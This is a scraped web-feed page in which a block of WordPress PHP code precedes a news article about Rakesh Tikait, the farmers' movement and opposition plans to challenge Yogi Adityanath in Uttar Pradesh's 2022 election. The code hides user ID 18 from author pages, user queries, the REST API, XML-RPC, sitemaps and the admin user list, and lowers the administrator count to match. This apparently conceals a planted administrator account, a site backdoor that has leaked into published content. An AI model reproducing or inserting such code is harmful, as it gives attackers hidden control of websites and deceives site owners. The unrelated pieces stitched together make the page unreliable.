add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post Preparations to Yogi’s fort through Tikait, strategy to contest Yogi in 2022 appeared first on The Edge Media.
]]>The next day i.e. on 29th January, the number of farmers at Ghazipur picket site again became very good. Not only this, RLD leader Jayant Chaudhary first sat near Tikait. Jayant and AAP MP Sanjay Singh went to the Kisan Mahapanchayat organized in Muzaffarnagar by Rakesh’s elder brother Naresh Tikait. SP chief Akhilesh Yadav also called up and inquired about the health of Rakesh Tikait.
Earlier on the same night, former Congress party president Rahul Gandhi and Priyanka Gandhi also supported Rakesh Tikait through their tweets. After that Uttar Pradesh Congress President Ajay Kumar Lallu sat next to Tikait. Former Haryana Chief Minister CM Bhupendra Singh Hooda’s son and Rajya Sabha MP Deepender Hooda also sat on the dais of Rakesh Tikait. Delhi’s Deputy Chief Minister Manish Sisodia did not lag behind. They too went to Ghazipur to meet Tikait. Some prominent peasants of the peasant movement like Yogendra Yadav and Darshanpal reached the dharna site and revealed the new strategy of the struggle.
Political analyst Dr. Anand Kumar says, today the question is not about religion or culture. The question is about life, it is about bread. If it is not, then where will other things work. They can be useful only when life is saved. The central government had said that by 2022, the income of farmers will double.
After the emotional appeal of Tikait, people’s confidence in the movement is coming again.
In the current situation, the opposition parties did not have the strength. As Anand Kumar, questions are being raised on the judiciary. In such a situation, the path of movement is now visible. BJP has realized that the distance between opposition parties may be reduced in future. As far as Uttar Pradesh is concerned, it will depend on various political parties whether they can take meaningful advantage of the Kisan movement. The conduct of the parties will play a big role in this. They have to distance themselves from their religion or caste equations.
At the same time, it will also be seen that those parties are coming towards the farmers as needed, or they will go with them as partners. This has to be taken care of a lot. The mind of the farmers is very clear. No one can commit hooliganism in their name or with a cover. Today Rakesh Tikait has become a ‘support for drowning straws’ for many political parties. Farmers lack platform, while political parties have the trust and confidence of the people. If they all come to the farmers’ platform with a sense of honesty and discipline, then in 2022, Yogi can be given a tough competition.
The post Preparations to Yogi’s fort through Tikait, strategy to contest Yogi in 2022 appeared first on The Edge Media.
]]>